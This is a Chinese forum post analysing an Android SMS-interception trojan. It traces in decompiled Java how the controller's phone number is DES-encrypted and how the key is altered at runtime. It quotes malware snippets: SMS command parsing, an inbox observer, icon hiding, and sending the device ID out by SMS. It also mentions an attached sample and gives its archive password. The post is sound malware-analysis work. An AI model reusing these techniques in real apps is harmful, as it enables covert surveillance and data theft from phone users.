短信拦截马之加密号码分析2
0x00-0 前言的前面帖 子发出来好几天了,期间被工头叫过去搬砖了,今天回来一看想不到大家这么热情,应版主要求和各位的热烈需求,此处整理了一下帖子,供大家观看,并附上了样 本,密码 52pojie,样本其实给出了看雪的下载链接,照顾没有看雪账号的朋友,特此一发。之前未发出完整版绝非为了赚下载,只是本人排版很渣

0x00 前言
新加入论坛,发一下之前的一篇文章,算是给论坛的一点小支持。
样本来自看雪论坛 http://bbs.pediy.com/showthread.php?t=204096,当时已给出答案,此处主要写一下分析过 程,算是总结一下,共同进步。首先声明,该样本未被加壳,程序部分混淆,但不严重,主要看论坛中还未涉及此类话题,其次论坛中有人对此加密号码分析过程还 比较感兴趣,所以来一发。
本人菜鸟一枚,首次发帖,高手默默飘过就行,欢迎拍砖!
0x01 特殊字符
JxB 打开 apk,未加壳,看 strings 有
1:43410150d9cc2072b6396f06bf57eada5acb86f0d9ee4a45
2:10801d06de02ed80cc58e431c7f1d2ac
明显是被加密了,至于加密的是什么,还是接着分析。
双击 10801d06de02ed80cc58e431c7f1d2ac 进入引用它的代码(搜索找到也行)。smali 转 java,可以看出该类主要是进 行 shared_prefs 处理的,明显的字段名有好多,但是该字段是 a01,所以要分析其具体作用,还得继续回溯代码。
ctrl+X 查找函数 d()的引用,有 4 个,一个一个看。

0x02 第一个方向:函数 d()的引用
com.phone.stop.a.c->b() 函数,代码如下:
1. privateboolean b(String arg7, String arg8, int arg9) { 2. intv5 = 2; 3. booleanv0 = true; 4. if(arg7.contains(a.a(this.a).d())) { 5. String[]v2 = arg8.split(" "); 6. if(v2[0].equals("LJ")) { 7. if(v2[1].equals("ALL")) { 8. a.a(this.a).a(1); 9. return v0; 10. } 11. 12. if(v2[1].equals("SOME")){ 13. a.a(this.a).a(v5); 14. return v0; 15. } 16. 17. if(!v2[1].equals("NO")) { 18. return v0; 19. } 20. 21. a.a(this.a).a(3); 22. returnv0; }
可以看出函数 b(估计看过以前分析的都知道该函数是短信控制命令的解析与执行,由此就知道 arg7 是手机号,arg8 是短 信内容了),我们此处暂且认为不知道这些,继续查找函数 b 的引用,被本类的函数 a 调用。a 函数的交叉引用是类 com.phone.stop.a.c 中的函 数 a,该类是一个短信数据库观察者类,显然是对新到短信进行拦截和监控的。
private voida() {[/align] Cursor v0 = this.b.query(b.b, null,null, null,"_id desc"); if(v0 == null || v0.getCount() == 0){ this.a(v0); } else { if(v0.moveToNext()) { String v1 = v0.getString(v0.getColumnIndex("date")); if(v1.compareTo(a.a(this.a).b()) > 0) { a.a(this.a).a(v1); int v1_1= v0.getInt(0); this.a(v1_1); String v2= v0.getString(v0.getColumnIndex("address")); String v3= v0.getString(v0.getColumnIndex("body")); this.a(v0); this.a(v2, v3,v1_1); } } this.a(v0);}
此处大概就是处理新短信,可以看出 v2 就是发短信的号码,v3 是短信内容。回到函数 b 中,就发现 arg7 是手机号,arg8 是短信内容,但是此处的 contain 函数类似于直接比较,所以此时 shared_prefs 中的手机号(也就是 a01)应该是已经解密过了。所以,还得接着看下去!悲剧。。。。。。
后面几个引用,也都是直接比较(详细不再赘述),或者是直接作为 sendTextMessage 的函数参数,所以解密过程应该是之前执行过了。
0x03 换一个方向
前面发现,加密的数据已经被解密使用了,针对 shared_prefs 中的数据,肯定有解密后数据的写入过程,所以,在最开始的那个类中,我们还发现如下代码:
public voidc(String arg3) { SharedPreferences$Editorv0 = this.b.edit(); v0.putString("a01", arg3); v0.commit(); }
函数 c 是将数据写入到 a01 的,所以对该函数的引用就应该是解密过程。既然如此,继续 ctrl+x。

只有一个函数。废话少说,直接跳到该函数。
public staticvoid a(Context arg2) { if(!com.phone.stop.a.a.a(arg2).e()) { com.phone.stop.a.a.a(arg2).c(com.phone.stop.b.a.a(com.phone.stop.a.a.a(arg2).d())); com.phone.stop.a.a.a(arg2).b(true); } }
看来其中函数 c 的参数就是解密后的结果,大胆猜测,com.phone.stop.b.a.a 就是解密函数,直接进去。
public staticString a(String arg2) {[/align] String v0_1; try { v0_1 = new b(com.phone.stop.a.b.f).b(arg2); } catch(Exceptionv0) { v0.printStackTrace(); v0_1 = ""; } return v0_1; }
new 了一个类 b 的对象,参数是 com.phone.stop.a.b.f,然后调用了 b 对象的函数 b,再进去。终于快接近答案了,b 类是一个 DES 的加密解密类,函数 b 就调用 dofinal 完成解密过程,看来我们离答案真的很近了,com.phone.stop.a.b.f 就是解密密钥!
0x04 密钥的小伎俩前面找到了com.phone.stop.a.b.f 就是解密密钥,下面就看其生成过程,交叉引用如下:

其中第三个就是 f 的赋值过程,具体看截图的代码,一阵欣喜,直接上 DES 解密工具,结果一段乱码。郁闷!!!!

接着看其他交叉引用,发现木马作者使用了一个小伎俩,在运行中,对密码做了修改,具体如下:
public staticString a(StringBuffer arg1){ arg1.append('x'); b.f = arg1.toString().getBytes(); return arg1.toString(); }
密码字符串添加了 x,真坏!最后不多说了,直接上图了。

最后,还有一点就是看是谁调用了解密过程。

MainActivity->onCreate 函数,原来如此,细看吧!
protectedvoid onCreate(Bundle arg5) {[/align] super.onCreate(arg5); this.setContentView(2130903041); com.phone.stop.b.b.a(); this.getPackageManager().setComponentEnabledSetting(this.getComponentName(),2, 1); com.phone.stop.b.b.a(((Context)this)); com.phone.stop.b.b.b(((Context)this)); if(!a.a(((Context)this)).i()) { e.a(" 软件安装完毕 \n 识别码 :" + this.getSystemService("phone").getDeviceId() + "\n"+ d.a(), ((Context) this)); a.a(((Context)this)).e(true); } com.phone.stop.b.a.b(((Context)this)); this.a(); }
紧接着其后,就是另一个加密字符串的解密,详细分析大家自己搞吧!
0x05 后记
首先感谢提供 DES 加解密工具的网友,虽然我们未曾谋面,谢意一定送出!有需要的网友搜索一下去下载,某不敢剽窃产权!
现 在拦截马还是层出不穷啊,作者也开始考虑隐蔽自己了,有用邮箱发送信息的,账号密码也是类似加密的,以前都是全明文(邮箱被破?网站被爆菊?被反向钓鱼? 啥也不说了,都是眼泪),还有用 apkprotect 加过壳的。看反编译的代码,还发现初始密码和以前的一个样本 stalker 很像,估计是。。。。。。 (啥也不说了,估计都出名了)。
这次分析主要还是看 java 代码,根据函数的交叉引用进行逆向的回溯追踪,直到 MainActivity->onCreate,其实主要还是个体力活。未来的主要对抗还是要集中在脱壳部分,不管是 dex 的还是 so 的,这方面论坛还有很好的示例,自己要好好学习。
其实,对于获取手机号,有很多方法,有添加 log 代码重打包运行的,有运行后看程序 data 目录的 shared_prefs 数据的。这些都是方法,本方法主要还是想提高一下逆向分析能力,对于理解程序流程很有意义,知其然更要知其所以然吗!
最后再次 PS:首次发帖,欢迎拍砖!